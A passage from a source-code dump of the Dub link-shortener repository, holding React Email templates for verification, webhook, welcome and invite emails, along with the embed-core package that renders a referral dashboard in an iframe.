    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function VerifyEmail({\n  email = \"panic@thedis.co\",\n  code = \"123456\",\n}: {\n  email: string;\n  code: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your Dub Verification Code</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Please confirm your email address\n            </Heading>\n            <Text className=\"mx-auto text-sm leading-6\">\n              Enter this code on the Dub verify page to complete your sign up:\n            </Text>\n            <Section className=\"my-8 rounded-lg border border-solid border-neutral-200\">\n              <div className=\"mx-auto w-fit px-6 py-3 text-center font-mono text-2xl font-semibold tracking-[0.25em]\">\n                {code}\n              </div>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              This code expires in 10 minutes.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/webhook-added.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WebhookAdded({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  webhook = {\n    name: \"My Webhook\",\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  webhook: {\n    name: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New webhook added</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              New webhook added\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Webhook with the name <strong>{webhook.name}</strong> has been\n              added to your Dub workspace {workspace.name}.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/webhooks`}\n              >\n                View Webhook\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you did not create this webhook, you can{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspace.slug}/settings/webhooks`}\n                className=\"text-black underline\"\n              >\n                <strong>delete this webhook</strong>\n              </Link>{\" \"}\n              from your account.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/webhook-disabled.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WebhookDisabled({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  webhook = {\n    id: \"wh_tYedrqsWgNJxUwQOaAnupcUJ1\",\n    url: \"https://example.com/webhook\",\n    disableThreshold: 20,\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  webhook: {\n    id: string;\n    url: string;\n    disableThreshold: number;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Webhook has been disabled</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Webhook has been disabled\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your webhook <strong>{webhook.url}</strong> has failed to deliver\n              successfully {webhook.disableThreshold} times in a row and has\n              been deactivated to prevent further issues.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              Please review the webhook details and update the URL if necessary\n              to restore functionality.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/webhooks/${webhook.id}/edit`}\n              >\n                Edit Webhook\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/webhook-failed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WebhookFailed({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  webhook = {\n    id: \"wh_tYedrqsWgNJxUwQOaAnupcUJ1\",\n    url: \"https://example.com/webhook\",\n    consecutiveFailures: 15,\n    disableThreshold: 20,\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  webhook: {\n    id: string;\n    url: string;\n    consecutiveFailures: number;\n    disableThreshold: number;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Webhook is failing to deliver</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Webhook is failing to deliver\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your webhook <strong>{webhook.url}</strong> has failed to deliver{\" \"}\n              {webhook.consecutiveFailures} times and will be disabled after{\" \"}\n              {webhook.disableThreshold} consecutive failures.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              Please review the webhook details and update the URL if necessary\n              to restore functionality.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/webhooks/${webhook.id}/edit`}\n              >\n                Edit Webhook\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/welcome-email-partner.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WelcomeEmailPartner({\n  name = \"Brendon Urie\",\n  email = \"panic@thedis.co\",\n  unsubscribeUrl,\n}: {\n  name: string | null;\n  email: string;\n  unsubscribeUrl: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Welcome to Dub Partners</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-semibold text-black\">\n              Welcome {name || \"to Dub Partners\"}!\n            </Heading>\n            <Text className=\"mb-8 text-sm leading-6 text-gray-600\">\n              We're excited to have you onboard. Time to start earning rewards\n              by referring your audience to the brands you work with.\n            </Text>\n\n            <Hr />\n\n            <Heading className=\"mx-0 my-6 p-0 text-lg font-semibold text-black\">\n              Getting started\n            </Heading>\n\n            <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n              <strong className=\"font-medium text-black\">\n                1. Complete your partner profile\n              </strong>\n              : Start by{\" \"}\n              <Link\n                href=\"https://ship.dub.co/partner-profile\"\n                className=\"font-semibold text-black underline underline-offset-4\"\n              >\n                filling out your partner profile and verifying your social\n                platforms\n              </Link>\n              . This will help you stand out from other partners in our partner\n              network.\n            </Text>\n\n            <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n              <strong className=\"font-medium text-black\">\n                2. Set up payouts\n              </strong>\n              :{\" \"}\n              <Link\n                href=\"https://ship.dub.co/connect-payouts\"\n                className=\"font-semibold text-black underline underline-offset-4\"\n              >\n                Connect a payout method\n              </Link>{\" \"}\n              to get paid for your referrals. Your payout bank account must\n              match your local currency for compliance reasons.{\" \"}\n              <Link\n                href=\"https://ship.dub.co/payouts-guide\"\n                className=\"font-semibold text-black underline underline-offset-4\"\n              >\n                Learn more ↗\n              </Link>\n            </Text>\n\n            <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n              <strong className=\"font-medium text-black\">\n                3. Join a program\n              </strong>\n              : If you haven't already, join an affiliate program and start\n              earning commissions for your referrals\n            </Text>\n\n            <Text className=\"mb-4 text-sm leading-6 text-gray-600\">\n              <strong className=\"font-medium text-black\">\n                4. Start sharing your links\n              </strong>\n              : Once you've joined a program, you can start sharing and creating\n              additional referral links.\n            </Text>\n\n            <Text className=\"mb-8 text-sm leading-6 text-gray-600\">\n              <strong className=\"font-medium text-black\">\n                5. Track your performance\n              </strong>\n              : Monitor traffic and earnings with real-time analytics\n            </Text>\n\n            <Section className=\"mb-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href=\"https://ship.dub.co/partners-dashboard\"\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Footer email={email} marketing unsubscribeUrl={unsubscribeUrl} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/welcome-email.tsx",
    "content": "import { DUB_THUMBNAIL, DUB_WORDMARK, getPrettyUrl } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WelcomeEmail({\n  email = \"panic@thedis.co\",\n  workspace,\n  program,\n  hasDubPartners = true,\n  unsubscribeUrl,\n}: {\n  email: string;\n  workspace?: {\n    slug: string;\n    name: string;\n    logo: string | null;\n  };\n  program?: {\n    slug: string;\n    name: string;\n    logo: string | null;\n  };\n  hasDubPartners?: boolean;\n  unsubscribeUrl: string;\n}) {\n  const workspaceUrl = workspace\n    ? `https://app.dub.co/${workspace?.slug}`\n    : \"https://app.dub.co\";\n\n  return (\n    <Html>\n      <Head />\n      <Preview>Welcome to Dub</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-semibold text-black\">\n              Welcome to Dub!\n            </Heading>\n            <Text className=\"mb-8 text-sm leading-6 text-neutral-600\">\n              Thank you for signing up for Dub! You can now start creating and\n              managing short links and track their performance.\n            </Text>\n\n            {workspace ? (\n              <>\n                <Heading className=\"mx-0 mb-2 p-0 text-base font-semibold text-black\">\n                  Your workspace\n                </Heading>\n                <Section className=\"mb-6 rounded-xl border border-solid border-neutral-200 bg-neutral-50 p-4\">\n                  <Row>\n                    <Column width={10}>\n                      <Img\n                        src={workspace.logo || DUB_THUMBNAIL}\n                        alt={workspace.name}\n                        height=\"32\"\n                        width=\"32\"\n                        className=\"mr-4 rounded-md\"\n                      />\n                    </Column>\n\n                    <Column>\n                      <Text className=\"text-md m-0 text-base font-semibold leading-none text-neutral-800\">\n                        {workspace.name}\n                      </Text>\n\n                      <Link\n                        href={workspaceUrl}\n                        className=\"m-0 text-xs font-medium text-neutral-600 underline\"\n                      >\n                        {getPrettyUrl(workspaceUrl)}\n                      </Link>\n                    </Column>\n                  </Row>\n                </Section>\n              </>\n            ) : (\n              <Hr />\n            )}\n\n            {program && (\n              <>\n                <Heading className=\"mx-0 mb-2 p-0 text-base font-semibold text-black\">\n                  Your program\n                </Heading>\n                <Section className=\"mb-6 rounded-xl border border-solid border-neutral-200 bg-neutral-50 p-4\">\n                  <Row>\n                    <Column width={10}>\n                      <Img\n                        src={program.logo || DUB_THUMBNAIL}\n                        alt={program.name}\n                        height=\"32\"\n                        width=\"32\"\n                        className=\"mr-4 rounded-md\"\n                      />\n                    </Column>\n\n                    <Column>\n                      <Text className=\"text-md m-0 text-base font-semibold leading-none text-neutral-800\">\n                        {program.name}\n                      </Text>\n\n                      <Link\n                        href={`${workspaceUrl}/program`}\n                        className=\"m-0 text-xs font-medium text-neutral-600 underline\"\n                      >\n                        {getPrettyUrl(`${workspaceUrl}/program`)}\n                      </Link>\n                    </Column>\n                  </Row>\n                </Section>\n              </>\n            )}\n\n            <Heading className=\"mx-0 mb-0 mt-6 p-0 text-base font-semibold text-black\">\n              {hasDubPartners ? \"Complete setup\" : \"Getting started\"}\n            </Heading>\n\n            <Text className=\"mb-6 mt-0 text-sm leading-6 text-neutral-600\">\n              {program\n                ? \"Finish setting up your program to get the most out of Dub Partners.\"\n                : \"Get familiar with Dub by exploring the platform and features.\"}\n            </Text>\n\n            {program ? (\n              <>\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  1. Set up conversion tracking:{\" \"}\n                  <Link\n                    href=\"https://dub.co/docs/conversions/quickstart\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    Follow our quickstart guide\n                  </Link>{\" \"}\n                  to set up conversion tracking for your program.\n                </Text>\n\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  2. Create your program application form: Use our{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/program-application-form\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    interactive builder\n                  </Link>{\" \"}\n                  to create a beautiful, branded program application page to get\n                  more partners applying to join your program.\n                </Text>\n\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  3. Connect your bank account:{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/how-to-set-up-bank-account\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    Set up a bank account\n                  </Link>{\" \"}\n                  to start paying out commissions to your partners.\n                </Text>\n\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  4. Invite your partners: Easily{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/inviting-partners\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    Invite influencers, affiliates, and users\n                  </Link>{\" \"}\n                  to your program, or{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/inviting-partners#enrolling-a-partner-automatically\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    enroll them automatically.\n                  </Link>\n                </Text>\n\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  5. Create more rewards: Set up{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/partner-rewards\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    click, lead, and sale-based rewards\n                  </Link>{\" \"}\n                  to incentivize your partners to drive more traffic and\n                  conversions.\n                </Text>\n              </>\n            ) : (\n              <>\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  1. Set up your domain:{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/how-to-add-custom-domain\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    Add a custom domain\n                  </Link>{\" \"}\n                  or{\" \"}\n                  <Link\n                    href=\"https://dub.co/help/article/free-dot-link-domain\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    claim a free .link domain\n                  </Link>{\" \"}\n                  and start creating your branded short links.\n                </Text>\n\n                {hasDubPartners ? (\n                  <>\n                    <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                      2. Track conversions:{\" \"}\n                      <Link\n                        href=\"https://app.dub.co/settings/tracking\"\n                        className=\"text-neutral-600 underline underline-offset-2\"\n                      >\n                        Install the Dub tracking script\n                      </Link>{\" \"}\n                      to track your short link and partner conversions.\n                    </Text>\n\n                    <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                      3. Create a program:{\" \"}\n                      <Link\n                        href=\"https://dub.co/docs/partners/quickstart\"\n                        className=\"text-neutral-600 underline underline-offset-2\"\n                      >\n                        Set up your Dub partner program\n                      </Link>{\" \"}\n                      to grow your revenue on autopilot with advanced reward\n                      structures, dual-sided incentives, and real-time\n                      attribution.\n                    </Text>\n                  </>\n                ) : (\n                  <>\n                    <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                      2. Create a short link:{\" \"}\n                      <Link\n                        href=\"https://dub.co/help/article/how-to-create-link\"\n                        className=\"text-neutral-600 underline underline-offset-2\"\n                      >\n                        Create your first Dub short link\n                      </Link>{\" \"}\n                      and explore the different features available.\n                    </Text>\n\n                    <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                      3. Explore analytics:{\" \"}\n                      <Link\n                        href=\"https://dub.co/help/article/dub-analytics\"\n                        className=\"text-neutral-600 underline underline-offset-2\"\n                      >\n                        View the performance\n                      </Link>{\" \"}\n                      of your short links with graphs and detailed analytics.\n                    </Text>\n                  </>\n                )}\n\n                <Text className=\"mb-4 text-sm leading-6 text-neutral-600\">\n                  4. Explore the API:{\" \"}\n                  <Link\n                    href=\"https://dub.co//docs\"\n                    className=\"text-neutral-600 underline underline-offset-2\"\n                  >\n                    Check out our docs\n                  </Link>{\" \"}\n                  for programmatic link creation\n                  {hasDubPartners ? \" and partner management\" : \"\"}.\n                </Text>\n              </>\n            )}\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-4 py-2.5 text-center text-[14px] font-medium text-white no-underline\"\n                href=\"https://app.dub.co\"\n              >\n                Go to your dashboard\n              </Link>\n            </Section>\n\n            <Footer email={email} marketing unsubscribeUrl={unsubscribeUrl} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/workspace-invite.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function WorkspaceInvite({\n  email = \"panic@thedis.co\",\n  url = \"http://localhost:8888/api/auth/callback/email?callbackUrl=http%3A%2F%2Fapp.localhost%3A3000%2Flogin&token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&email=youremail@gmail.com\",\n  workspaceName = \"Acme\",\n  workspaceUser = \"Brendon Urie\",\n  workspaceUserEmail = \"panic@thedis.co\",\n}: {\n  email: string;\n  url: string;\n  workspaceName: string;\n  workspaceUser: string | null;\n  workspaceUserEmail: string | null;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Join {workspaceName} on Dub</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Join {workspaceName} on Dub\n            </Heading>\n            {workspaceUser && workspaceUserEmail ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                <strong>{workspaceUser}</strong> (\n                <Link\n                  className=\"text-blue-600 no-underline\"\n                  href={`mailto:${workspaceUserEmail}`}\n                >\n                  {workspaceUserEmail}\n                </Link>\n                ) has invited you to join the <strong>{workspaceName}</strong>{\" \"}\n                workspace on Dub!\n              </Text>\n            ) : (\n              <Text className=\"text-sm leading-6 text-black\">\n                You have been invited to join the{\" \"}\n                <strong>{workspaceName}</strong> workspace on Dub!\n              </Text>\n            )}\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={url}\n              >\n                Join Workspace\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {url.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/types.ts",
    "content": "export type WorkspaceProps = {\n  id: string;\n  name: string;\n  slug: string;\n  usage: number;\n  usageLimit: number;\n  plan: string;\n  defaultProgramId: string | null;\n};\n\nexport type PartnerPayoutMethod = \"connect\" | \"stablecoin\" | \"paypal\";\n\n// constants\nexport const STABLECOIN_PAYOUT_FEE_RATE = 0.005;\nexport const MIN_WITHDRAWAL_AMOUNT_CENTS = 10_00;\nexport const BELOW_MIN_WITHDRAWAL_FEE_CENTS = 50;\n"
  },
  {
    "path": "packages/email/tsconfig.json",
    "content": "{\n  \"extends\": \"../tsconfig/base.json\",\n  \"include\": [\n    \"src/**/*\"\n  ],\n  \"typeRoots\": [\"node_modules/@types\", \"src\"],\n  \"exclude\": [\n    \"node_modules\"\n  ],\n  \"compilerOptions\": {\n    \"baseUrl\": \".\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"jsx\": \"react-jsx\",\n    \"jsxImportSource\": \"react\",\n    \"strict\": true,\n    \"skipLibCheck\": true\n  }\n}"
  },
  {
    "path": "packages/embeds/core/README.md",
    "content": "# `@dub/embed-core`\n\n`@dub/embed-core` is a library that contains the core logic for embedding Dub's referral dashboard on third-party websites.\n\n## Installation\n\nTo install the package, run:\n\n```bash\npnpm i @dub/embed-core\n```\n"
  },
  {
    "path": "packages/embeds/core/package.json",
    "content": "{\n  \"name\": \"@dub/embed-core\",\n  \"description\": \"Vanilla JS core script that embeds Dub's dashboards.\",\n  \"version\": \"0.0.18\",\n  \"sideEffects\": false,\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.mjs\",\n  \"types\": \"./dist/index.d.ts\",\n  \"files\": [\n    \"dist/**\"\n  ],\n  \"scripts\": {\n    \"build\": \"tsup\",\n    \"lint\": \"eslint src/\",\n    \"dev\": \"tsup --watch\",\n    \"check-types\": \"tsc --noEmit\"\n  },\n  \"dependencies\": {\n    \"@floating-ui/dom\": \"^1.6.12\"\n  },\n  \"devDependencies\": {\n    \"@types/js-cookie\": \"^3.0.6\",\n    \"tsconfig\": \"workspace:*\",\n    \"tsup\": \"^6.1.3\",\n    \"typescript\": \"^5.1.6\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"ui\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/embeds/core/src/constants.ts",
    "content": "export const DUB_CONTAINER_ID = \"dub-embed-container\";\n"
  },
  {
    "path": "packages/embeds/core/src/core.ts",
    "content": "import { DUB_CONTAINER_ID } from \"./constants\";\nimport { EmbedError } from \"./error\";\nimport { DubEmbedOptions, DubInitResult, IframeMessage } from \"./types\";\n\nconst CONTAINER_STYLES = {\n  position: \"relative\",\n  maxWidth: \"1024px\",\n  height: \"1020px\",\n  margin: \"0 auto\",\n};\n\nclass DubEmbed {\n  options: DubEmbedOptions;\n  container: HTMLElement | null;\n\n  constructor(options: DubEmbedOptions) {\n    this.options = options;\n\n    console.debug(\"[Dub] Initializing.\", options);\n\n    this.container = this.renderEmbed();\n  }\n\n  /**\n   * Generates and renders all of the embed's DOM elements.\n   */\n  renderEmbed() {\n    console.debug(\"[Dub] Rendering embed.\");\n\n    const { token, root, containerStyles, onError, data } = this.options;\n\n    const existingContainer = document.getElementById(DUB_CONTAINER_ID);\n\n    if (existingContainer) return existingContainer;\n\n    if (!token) {\n      console.error(\"[Dub] A link token is required to for the embed to work.\");\n      return null;\n    }\n\n    const container = document.createElement(\"div\");\n    container.id = DUB_CONTAINER_ID;\n    Object.assign(container.style, {\n      ...CONTAINER_STYLES,\n      ...containerStyles,\n    });\n\n    const host = window.location.hostname;\n    const port = window.location.port;\n    const embedUrlHost =\n      host === \"localhost\" && port === \"8888\"\n        ? \"http://localhost:8888\"\n        : host === \"preview.dub.co\"\n          ? \"https://preview.dub.co\"\n          : \"https://app.dub.co\";\n\n    const iframeUrl =\n      data === \"referrals\" ? `${embedUrlHost}/embed/referrals` : \"\";\n\n    if (!iframeUrl) {\n      console.error(\"[Dub] Invalid embed data type.\");\n      return null;\n    }\n\n    const iframe = createIframe(iframeUrl, token, this.options);\n    container.appendChild(iframe);\n\n    // Listen the message from the iframe\n    window.addEventListener(\"message\", (e) => {\n      const { data, event } = e.data as IframeMessage;\n\n      console.debug(\"[Dub] Iframe message\", data);\n\n      switch (event) {\n        case \"ERROR\":\n          onError?.(\n            new EmbedError({\n              code: data?.code ?? \"\",\n              message: data?.message ?? \"\",\n            }),\n          );\n          break;\n        case \"PAGE_HEIGHT\": {\n          const container = document.getElementById(DUB_CONTAINER_ID);\n          if (container) container.style.height = `${data.height}px`;\n\n          break;\n        }\n      }\n    });\n\n    (root ?? document.body).appendChild(container);\n\n    return container;\n  }\n\n  /**\n   * Destroys the embed, removing any remaining DOM elements.\n   */\n  destroy() {\n    document.getElementById(DUB_CONTAINER_ID)?.remove();\n  }\n}\n\nconst createIframe = (\n  iframeUrl: string,\n  token: string,\n  options: Pick<DubEmbedOptions, \"theme\" | \"themeOptions\">,\n): HTMLIFrameElement => {\n  const iframe = document.createElement(\"iframe\");\n\n  const params = new URLSearchParams({\n    token,\n    ...(options.theme ? { theme: options.theme } : {}),\n    ...(options.themeOptions\n      ? { themeOptions: JSON.stringify(options.themeOptions) }\n      : {}),\n\n    // Allows the iframe content to set overflow values and send height messages without affecting older embed scripts\n    dynamicHeight: \"true\",\n  });\n\n  iframe.src = `${iframeUrl}?${params.toString()}`;\n  iframe.style.width = \"100%\";\n  iframe.style.height = \"100%\";\n  iframe.style.border = \"none\";\n  iframe.setAttribute(\"credentialssupport\", \"\");\n  iframe.setAttribute(\"allow\", \"clipboard-write\");\n\n  return iframe;\n};\n\n/**\n * Initializes the Dub embed.\n */\nexport const init = (options: DubEmbedOptions): DubInitResult => {\n  const embed = new DubEmbed(options);\n\n  return {\n    destroy: embed.destroy.bind(embed),\n  };\n};\n"
  },
  {
    "path": "packages/embeds/core/src/embed.ts",
    "content": "import { init } from \"./core\";\nimport { DubEmbed } from \"./types\";\n\ndeclare global {\n  interface Window {\n    Dub: DubEmbed;\n  }\n}\n\nif (typeof window !== \"undefined\") {\n  window.Dub = (window.Dub || {}) as DubEmbed;\n  window.Dub.init = init;\n}\n"
  },
  {
    "path": "packages/embeds/core/src/error.ts",
    "content": "export class EmbedError extends Error {\n  code: string;\n\n  constructor({ code, message }: { code: string; message: string }) {\n    super(message);\n    this.code = code;\n    this.name = \"EmbedError\";\n  }\n}\n"
  },
  {
    "path": "packages/embeds/core/src/example/index.html",
    "content": "<html>\n  <head>\n    <script type=\"module\" src=\"../../dist/embed/script.js\"></script>\n  </head>\n  <body>\n    <h1>Dub Referral Embed</h1>\n    <script>\n      document.addEventListener(\"DOMContentLoaded\", () => {\n        const embed = Dub.init({\n          root: document.getElementById(\"root\"),\n          token: \"dub_embed_\", // Add your token here\n        });\n      });\n    </script>\n\n    <div id=\"root\" style=\"border: 1px solid #aaa\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "packages/embeds/core/src/index.ts",
    "content": "export * from \"./constants\";\nexport * from \"./core\";\nexport * from \"./types\";\n"
  },
  {
    "path": "packages/embeds/core/src/types.ts",
